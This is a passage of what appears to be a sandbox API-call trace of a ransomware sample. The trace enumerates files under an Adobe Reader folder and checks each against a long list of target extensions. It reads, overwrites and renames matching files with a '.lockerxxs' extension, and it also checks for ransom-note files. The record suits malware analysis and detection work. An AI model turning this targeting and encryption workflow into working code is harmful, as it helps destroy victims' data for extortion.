[0068.433] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf") returned="AdobeID.pdf" [0068.433] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.433] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x438f, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x438f, lpOverlapped=0x0) returned 1 [0068.434] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0068.434] CloseHandle (hObject=0x94) returned 1 [0068.437] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\adobeid.pdf.lockerxxs")) returned 1 [0068.441] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e95, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0068.441] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0068.441] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DefaultID.pdf") returned 1 [0068.441] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DefaultID.pdf") returned 1 [0068.441] lstrcmpiA (lpString1="", lpString2="DefaultID.pdf") returned -1 [0068.441] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\AdobeID.pdf") returned="AdobeID.pdf" [0068.441] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\" [0068.441] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\") returned="" [0068.441] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\HOW TO DECRYPT FILES.txt" [0068.441] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\how to decrypt files.txt")) returned 0x20 [0068.441] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\", lpString2="DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf" [0068.441] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.ems") returned 0 [0068.441] lstrlenA (lpString="*.ems") returned 5 [0068.441] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.db") returned 0 [0068.441] lstrlenA (lpString="*.db") returned 4 [0068.442] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.dbf") returned 0 [0068.442] lstrlenA (lpString="*.dbf") returned 5 [0068.442] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.myox") returned 0 [0068.442] lstrlenA (lpString="*.myox") returned 6 [0068.442] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.myo") returned 0 [0068.442] lstrlenA (lpString="*.myo") returned 5 [0068.442] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.qbw") returned 0 [0068.442] lstrlenA (lpString="*.qbw") returned 5 [0068.442] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.qbb") returned 0 [0068.442] lstrlenA (lpString="*.qbb") returned 5 [0068.442] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.qbm") returned 0 [0068.442] lstrlenA (lpString="*.qbm") returned 5 [0068.442] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.qbo") returned 0 [0068.442] lstrlenA (lpString="*.qbo") returned 5 [0068.442] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.qbx") returned 0 [0068.442] lstrlenA (lpString="*.qbx") returned 5 [0068.442] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.qba") returned 0 [0068.443] lstrlenA (lpString="*.qba") returned 5 [0068.443] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.qby") returned 0 [0068.443] lstrlenA (lpString="*.qby") returned 5 [0068.443] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.qbj") returned 0 [0068.443] lstrlenA (lpString="*.qbj") returned 5 [0068.443] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.ofx") returned 0 [0068.443] lstrlenA (lpString="*.ofx") returned 5 [0068.443] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.qif") returned 0 [0068.443] lstrlenA (lpString="*.qif") returned 5 [0068.443] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.mye") returned 0 [0068.443] lstrlenA (lpString="*.mye") returned 5 [0068.443] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.mbox") returned 0 [0068.443] lstrlenA (lpString="*.mbox") returned 6 [0068.443] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0068.443] lstrlenA (lpString="*.eml") returned 5 [0068.443] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.pst") returned 0 [0068.443] lstrlenA (lpString="*.pst") returned 5 [0068.443] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.ost") returned 0 [0068.444] lstrlenA (lpString="*.ost") returned 5 [0068.444] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.idx") returned 0 [0068.444] lstrlenA (lpString="*.idx") returned 5 [0068.444] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.dbx") returned 0 [0068.444] lstrlenA (lpString="*.dbx") returned 5 [0068.444] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.sql") returned 0 [0068.444] lstrlenA (lpString="*.sql") returned 5 [0068.444] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.mdb") returned 0 [0068.444] lstrlenA (lpString="*.mdb") returned 5 [0068.444] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.fdb") returned 0 [0068.445] lstrlenA (lpString="*.fdb") returned 5 [0068.445] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.wab") returned 0 [0068.445] lstrlenA (lpString="*.wab") returned 5 [0068.445] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.dat") returned 0 [0068.445] lstrlenA (lpString="*.dat") returned 5 [0068.445] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.txt") returned 0 [0068.445] lstrlenA (lpString="*.txt") returned 5 [0068.445] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.jpeg") returned 0 [0068.445] lstrlenA (lpString="*.jpeg") returned 6 [0068.445] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.jpg") returned 0 [0068.445] lstrlenA (lpString="*.jpg") returned 5 [0068.445] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.png") returned 0 [0068.445] lstrlenA (lpString="*.png") returned 5 [0068.445] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.php") returned 0 [0068.445] lstrlenA (lpString="*.php") returned 5 [0068.445] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.cs") returned 0 [0068.445] lstrlenA (lpString="*.cs") returned 4 [0068.445] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.cpp") returned 0 [0068.445] lstrlenA (lpString="*.cpp") returned 5 [0068.445] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.rar") returned 0 [0068.445] lstrlenA (lpString="*.rar") returned 5 [0068.446] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.zip") returned 0 [0068.446] lstrlenA (lpString="*.zip") returned 5 [0068.446] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.html") returned 0 [0068.446] lstrlenA (lpString="*.html") returned 6 [0068.446] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.htm") returned 0 [0068.446] lstrlenA (lpString="*.htm") returned 5 [0068.446] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.xlsx") returned 0 [0068.446] lstrlenA (lpString="*.xlsx") returned 6 [0068.446] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.xls") returned 0 [0068.446] lstrlenA (lpString="*.xls") returned 5 [0068.446] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.mp4") returned 0 [0068.446] lstrlenA (lpString="*.mp4") returned 5 [0068.446] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.ppt") returned 0 [0068.446] lstrlenA (lpString="*.ppt") returned 5 [0068.446] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.pptx") returned 0 [0068.446] lstrlenA (lpString="*.pptx") returned 6 [0068.446] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.doc") returned 0 [0068.446] lstrlenA (lpString="*.doc") returned 5 [0068.446] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.dot") returned 0 [0068.446] lstrlenA (lpString="*.dot") returned 5 [0068.446] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.docx") returned 0 [0068.446] lstrlenA (lpString="*.docx") returned 6 [0068.446] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.7z") returned 0 [0068.447] lstrlenA (lpString="*.7z") returned 4 [0068.447] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.tar") returned 0 [0068.447] lstrlenA (lpString="*.tar") returned 5 [0068.447] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.bz2") returned 0 [0068.447] lstrlenA (lpString="*.bz2") returned 5 [0068.447] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.gz") returned 0 [0068.447] lstrlenA (lpString="*.gz") returned 4 [0068.447] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.mkv") returned 0 [0068.447] lstrlenA (lpString="*.mkv") returned 5 [0068.447] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0068.447] lstrlenA (lpString="*.eml") returned 5 [0068.447] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.msg") returned 0 [0068.447] lstrlenA (lpString="*.msg") returned 5 [0068.447] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.edb") returned 0 [0068.447] lstrlenA (lpString="*.edb") returned 5 [0068.447] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.accdb") returned 0 [0068.447] lstrlenA (lpString="*.accdb") returned 7 [0068.447] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.odb") returned 0 [0068.447] lstrlenA (lpString="*.odb") returned 5 [0068.447] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.java") returned 0 [0068.448] lstrlenA (lpString="*.java") returned 6 [0068.448] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.asm") returned 0 [0068.448] lstrlenA (lpString="*.asm") returned 5 [0068.448] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.pfx") returned 0 [0068.448] lstrlenA (lpString="*.pfx") returned 5 [0068.448] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.pem") returned 0 [0068.448] lstrlenA (lpString="*.pem") returned 5 [0068.448] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.p12") returned 0 [0068.448] lstrlenA (lpString="*.p12") returned 5 [0068.448] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.gpg") returned 0 [0068.448] lstrlenA (lpString="*.gpg") returned 5 [0068.448] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.vsd") returned 0 [0068.448] lstrlenA (lpString="*.vsd") returned 5 [0068.448] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.odg") returned 0 [0068.448] lstrlenA (lpString="*.odg") returned 5 [0068.448] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.raw") returned 0 [0068.448] lstrlenA (lpString="*.raw") returned 5 [0068.448] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.nef") returned 0 [0068.448] lstrlenA (lpString="*.nef") returned 5 [0068.448] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.svg") returned 0 [0068.448] lstrlenA (lpString="*.svg") returned 5 [0068.449] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.psd") returned 0 [0068.449] lstrlenA (lpString="*.psd") returned 5 [0068.449] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.vmx") returned 0 [0068.449] lstrlenA (lpString="*.vmx") returned 5 [0068.449] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.vmdk") returned 0 [0068.449] lstrlenA (lpString="*.vmdk") returned 6 [0068.449] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.vdi") returned 0 [0068.449] lstrlenA (lpString="*.vdi") returned 5 [0068.449] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.lay6") returned 0 [0068.449] lstrlenA (lpString="*.lay6") returned 6 [0068.449] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.mpeg") returned 0 [0068.449] lstrlenA (lpString="*.mpeg") returned 6 [0068.449] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.djvu") returned 0 [0068.449] lstrlenA (lpString="*.djvu") returned 6 [0068.449] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.tiff") returned 0 [0068.449] lstrlenA (lpString="*.tiff") returned 6 [0068.449] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.backup") returned 0 [0068.449] lstrlenA (lpString="*.backup") returned 8 [0068.449] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", pszSpec="*.pdf") returned 1 [0068.449] lstrlenA (lpString="*.pdf") returned 5 [0068.449] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf" [0068.449] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf" [0068.450] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf." [0068.450] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf.lockerxxs" [0068.450] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.451] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3e95 [0068.451] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x80a2abc0, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4)) returned 1 [0068.451] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.451] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x3e6f, lpOverlapped=0x0) returned 1 [0068.454] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf") returned="DefaultID.pdf" [0068.454] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.454] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x3e6f, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x3e6f, lpOverlapped=0x0) returned 1 [0068.454] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0068.454] CloseHandle (hObject=0x94) returned 1 [0068.456] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\DefaultID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\defaultid.pdf.lockerxxs")) returned 1 [0068.457] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e95, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 0 [0068.457] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0068.457] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="HUN", cAlternateFileName="")) returned 1 [0068.457] lstrcmpA (lpString1=".", lpString2="HUN") returned -1 [0068.457] lstrcmpA (lpString1="..", lpString2="HUN") returned -1 [0068.457] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*.*") returned="*.*" [0068.457] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\", lpString2="HUN" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 